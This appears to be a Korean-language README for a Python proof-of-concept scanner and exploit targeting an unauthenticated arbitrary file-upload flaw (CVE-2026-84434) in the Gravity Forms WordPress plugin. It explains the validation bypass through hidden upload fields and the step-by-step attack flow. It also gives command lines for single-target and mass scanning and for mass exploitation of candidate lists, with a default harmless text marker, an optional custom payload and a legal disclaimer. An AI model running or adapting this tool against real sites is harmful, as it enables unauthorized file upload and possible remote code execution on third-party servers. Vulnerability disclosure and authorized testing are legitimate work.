Gravity Forms의 **CVE-2026-84434**에 대한 Python 3 PoC 스캐너 및 익스플로잇입니다.
| |
|---|
| 플러그인 | gravityforms |
| 영향받는 버전 | ≤ 3.1.0.4 |
| 수정된 버전 | 3.1.0.5+ (벤더 보안 릴리스 3.1.1) |
| CVSS | 9.8 (치명적) |
| 인증 | 인증 불필요 |
| CWE | CWE-434 — 제한 없는 업로드 |
| 공로 | 0xd4rk5id3 — EnvoraSec (Wordfence) |
요약
숨겨진 File Upload 필드는 검증 파이프라인에서 확장자 검증을 건너뛰지만, 저장 경로는 동등한 검사 없이 upload_file()을 호출할 수 있습니다. 인증되지 않은 공격자는 Visibility → Hidden으로 설정된 File Upload 필드를 포함하는 공개 폼에 POST 요청을 보낼 수 있습니다.
파일은 wp-content/uploads/gravity_forms/ 아래에 저장됩니다. Gravity Forms는 일반적으로 PHP 실행을 차단하는 .htaccess 규칙을 추가하지만, RCE는 서버 구성(nginx, 대체 docroot 등)에 따라 달라집니다.
공격 흐름
- Gravity Forms 및 버전 ≤ 3.1.0.4 탐지
- 공개 페이지에서
gform_wrapper 및 숨겨진 fileupload 필드(input_{form}_{field}) 크롤링
- 필수 표시 필드를 플레이스홀더로 채움
- 멀티파트 POST (
gform_submit, is_submit_{id}, 숨겨진 입력에 파일)
- 확인 메시지 / 엔트리 힌트 / 선택적 마커 가져오기를 통해 확인
요구 사항
- Python 3.9+
pip install -r requirements.txt
사용법
pip install -r requirements.txt
# 단일 대상 확인
python poc.py -u https://target.example --mode check
# 대량 확인
python poc.py --list targets.example.txt --mode check --threads 30 --quiet
# 익스플로잇 (--payload-file이 설정되지 않은 경우 내장된 무해한 .txt 프로브 사용)
python poc.py -u https://target.example --mode exploit \
--form-id 3 --page-url /contact/ --file-field 7
# 사용자 지정 업로드 파일 (자체 프로브 — 이 저장소에는 포함되지 않음)
python poc.py -u https://target.example --mode exploit \
--form-id 3 --page-url /contact/ --file-field 7 \
--payload-file probe.txt
# 확인 출력에서 대량 익스플로잇
python poc.py --list candidates.jsonl --mode exploit --threads 10 --quiet
CLI 옵션
출력 (대량 확인)
| 파일 | 내용 |
|---|
cve_2026_84434_results.jsonl |
일반적인 status 값 (확인)
제한 사항
- 확인 모드는 공개 HTML에 렌더링된 숨겨진 업로드 필드만 볼 수 있습니다. 관리자 전용 숨겨진 필드는 원격으로 발견할 수 없습니다.
- FOFA 스타일 목록에는 패치된 사이트나 숨겨진 업로드가 없는 폼이 많이 포함되어 있으므로 낮은 후보 비율을 예상해야 합니다.
- 기본 익스플로잇은 웹셸이 아닌 무해한 텍스트 마커를 업로드합니다.
저장소 구조
.
├── poc.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
로컬 스캔 목록 및 산출물(list.txt, *.jsonl, 사용자 지정 페이로드)은 .gitignore에 있으며 커밋해서는 안 됩니다.
법적 고지
승인된 보안 테스트 전용입니다. 관련 법률 및 프로그램 규칙을 준수할 책임은 사용자에게 있습니다.